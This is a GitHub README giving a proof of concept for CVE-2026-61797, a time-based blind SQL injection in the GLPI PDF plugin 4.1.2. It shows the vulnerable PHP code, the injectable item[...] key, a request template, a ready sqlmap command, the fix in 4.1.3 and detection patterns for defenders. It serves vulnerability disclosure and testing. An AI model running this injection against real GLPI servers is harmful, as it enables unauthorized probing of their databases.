itres-labs/cve-2026-61797Proof of Concept for CVE-2026-61797, a time-based blind SQL injection in the GLPI PDF plugin, with sqlmap validation and detection guidance.
Proof of Concept for CVE-2026-61797, a time-based blind SQL Injection vulnerability affecting the GLPI PDF plugin.
The vulnerability can be reached through:
/marketplace/pdf/front/preference.form.php
In the vulnerable implementation, user-controlled values from the item POST array are inserted into SQL queries without proper parameterization.
An authenticated low-privileged GLPI user can abuse this behavior to inject SQL expressions and infer database information through response timing.
| Field | Value |
|---|
| CVE | CVE-2026-61797 |
| Product | GLPI PDF Plugin |
| Tested version | 4.1.2 |
| Fixed version | 4.1.3 |
| Vulnerability | Time-Based Blind SQL Injection |
| Authentication | Required on the tested 4.1.2 branch |
| Attack vector | Network |
| User interaction | None |
| Database | MySQL |
| CVSS | 6.1 / 10 |
| Advisory | GHSA-wwr3-v347-c64m |
The vulnerable code eventually places the attacker-controlled item key into the tabref field of an SQL INSERT statement.
Conceptually, the vulnerable operation looked like:
foreach ($_POST['item'] as $key => $val) {
$DB->doQuery("INSERT INTO `glpi_plugin_pdf_preferences`
(`id`, `users_id`, `itemtype`, `tabref`)
VALUES (
NULL,
'" . $_SESSION['glpiID'] . "',
'" . $_POST['plugin_pdf_inventory_type'] . "',
'$key'
)");
}
Because $key becomes part of the SQL statement, a crafted array key can modify the resulting query.
The PoC requires:
sqlmap.The PoC was validated against PDF Plugin 4.1.2.
Capture a legitimate request to:
POST /marketplace/pdf/front/preference.form.php
and save it as:
glpi.sqli
A minimal request body suitable for marking the injection point is:
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
The * tells sqlmap which part of the request should be tested.
Example request structure:
POST /marketplace/pdf/front/preference.form.php HTTP/1.1
Host: glpi.example.test
Content-Type: application/x-www-form-urlencoded
Cookie: <VALID_GLPI_SESSION>
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
Run:
sqlmap \
-r glpi.sqli \
--csrf-url "https://glpi.example.test/front/preference.php" \
--csrf-token "_glpi_csrf_token" \
--cookie "<VALID_GLPI_SESSION>" \
--technique=T \
--level=5 \
--risk=1 \
--batch
A vulnerable installation should be identified as accepting a time-based blind SQL injection at the custom POST injection point.
Typical detection resembles:
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
The technique relies on conditional MySQL delays such as SLEEP() to determine whether an injected condition evaluates to true.
This repository intentionally limits the documented PoC to vulnerability verification and does not provide database-dumping or credential-extraction commands.
The vulnerable request reaches:
plugins/pdf/front/preference.form.php
The application processes values similar to:
item[<USER_CONTROLLED_VALUE>]=1
PHP converts this into an associative array, where the attacker controls the array key.
That key is later used as $key by the plugin and, in the vulnerable version, is concatenated directly into an SQL statement.
The resulting data flow is effectively:
HTTP POST
|
v
$_POST['item']
|
v
array key ($key)
|
v
SQL string concatenation
|
v
MySQL
A time-based payload can therefore influence the SQL expression and make the database deliberately delay the response when a supplied condition is true.
Because the application does not return the SQL query results directly, exploitation is performed as a blind SQL injection.
The issue was fixed in PDF Plugin 4.1.3.
The vulnerable raw SQL operations were replaced with safer database/ORM mechanisms and additional authorization logic.
Users should upgrade to:
PDF Plugin >= 4.1.3
or a newer supported release.
Defenders may want to review HTTP requests targeting:
/marketplace/pdf/front/preference.form.php
with unusual item[...] parameter names.
Particularly suspicious patterns include SQL syntax or time-delay functions occurring inside an array key, for example references to:
SLEEP(
SELECT
AND
OR
||
'
"
Repeated POST requests to the endpoint followed by consistent multi-second response delays may also indicate attempts to exploit a time-based blind SQL injection.
This Proof of Concept is provided exclusively for:
Do not use it against systems you do not own or have explicit permission to test.
The authors assume no responsibility for unauthorized or unlawful use of this material.
Vulnerability research and original technical analysis:
ITRESIT Labs — Javier Medina
Original research:
CVE:
CVE-2026-61797
GitHub Security Advisory:
GHSA-wwr3-v347-c64m
This repository is intended for educational and authorized security-testing purposes only.
Always obtain explicit permission before testing systems that you do not own.